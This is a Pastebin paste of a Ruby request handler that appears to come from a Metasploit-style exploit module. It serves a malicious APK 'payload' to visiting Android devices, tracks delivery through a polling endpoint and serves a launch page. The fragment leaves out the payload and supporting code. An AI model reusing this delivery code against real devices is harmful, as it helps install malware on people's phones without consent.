Advertisement
vinissh

searchRegular

Oct 14th, 2019
176
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Ruby 0.69 KB | None | 0 0
  1.  def on_request_uri(cli, req)
  2.     if req.uri =~ /\/([a-zA-Z0-9]+)\.apk\/latest$/
  3.       if req.method.upcase == 'HEAD'
  4.         print_status "Serving metadata..."
  5.         send_response(cli, '', magic_headers)
  6.       else
  7.         print_status "Serving payload '#{$1}'..."
  8.         @served_payloads[$1] = 1
  9.         send_response(cli, apk_bytes, magic_headers)
  10.       end
  11.     elsif req.uri =~ /_poll/
  12.       vprint_status("Polling #{req.qstring['id']}: #{@served_payloads[req.qstring['id']]}")
  13.       send_response(cli, @served_payloads[req.qstring['id']].to_s, 'Content-type' => 'text/plain')
  14.     elsif req.uri =~ /launch$/
  15.       send_response_html(cli, launch_html)
  16.     else
  17.       super
  18.     end
  19.   end
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement